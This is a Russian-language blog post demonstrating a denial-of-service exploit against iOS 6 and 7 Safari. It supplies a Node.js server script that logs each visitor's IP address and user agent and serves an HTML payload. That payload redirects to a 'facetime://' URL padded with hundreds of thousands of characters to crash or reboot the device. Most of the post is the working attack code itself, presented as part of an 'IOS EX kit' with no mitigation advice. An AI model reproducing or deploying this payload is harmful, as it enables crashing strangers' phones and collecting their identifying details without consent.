Ребутим iOS. Просто и со вкусом!

в 20:12, , рубрики: android, iOS, браузеры, информационная безопасность, Смартфоны и коммуникаторы, метки: ,

Приятного времени суток, господа и дамы!
Данный пост будет очень коротким, к сожалению, но ведь это демонстрация уязвимости, которой подвержены многие iOS устройства.

Ребутим iOS. Просто и со вкусом!

Подвержены почти все iOS устройства 7 ветки, и частично 6'ой. Больше не смог протестировать. Буду крайне благодарен, если вы отпишетесь в комментариях о поведении вашего устройства.

Демонстрация работы:

r0sheR.js:

console.log("      _____      _         ______   _     ");
console.log("     |  _  |    | |        | ___ \ (_)    ");
console.log(" _ __| |/' | ___| |__   ___| |_/ /  _ ___ ");
console.log("| '__|  /| |/ __| '_ \ / _ \    /  | / __|");
console.log("| |  \ |_/ /\__ \ | | |  __/ |\ \ _| \__ \");
console.log("|_|   \___/ |___/_| |_|\___\_| \_(_) |___/");
console.log("r0sheR.js is a part of IOS EX kit _/ |");    
console.log(" fil9 (2013) fil9bob@gmail.com   |__/");
var lport = process.argv[2];
if (!lport) {
    console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' [80,8080...]');
    process.exit(1)
} else {
    if (lport <= 0 || lport > 65535) {
        console.log("Invalid port!n");
        process.exit(1)
    }
};
var http = require('http'),fs=require('fs');
http.createServer(function (rq, rs) {
    rs.writeHead(200, {
        'Content-Type': 'text/html'
    });
    console.log('[!] New request from: ' + rq.connection.remoteAddress);
    console.log('[!] UserAgent: ' + rq.headers['user-agent']);
    fs.readFile('./page.html', function(err,data){
    if (err) throw err; 
    rs.end(data);
    });
    console.log('DOS parcel sent :)')
}).listen(lport, '0.0.0.0');

page.html: < — payload отдельно. Как показала практика, так удобней

<html>
<head>
<title>IOS 7 CRASH</title>
</head>
<body>
<script>
document.location.replace("data:text/html,%3Cscript%3Eif(navigator.userAgent.indexOf('Safari') != -1){var a,b='';for(var i=1;i<=300000;i++) a='A'+a; document.location.replace('facetime://'+a+a+a+a)}%3C/script%3E");
</script>
</body>
</html>

Баг заключается в том, что Safari позволяет запустить FaceTime напрямую. Злоумышленник может воспользоватся этим и вызвать отказ в обслуживании. Ну и кое-что еще.

P.S: Недавно узнал, что в версии iOS 7.0.5 будет закрыта уязвимимость, использованная evasi0n7.
Как знать, может стоит ожидать JB уже для iOS 7.1 :)

Автор: fil9

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js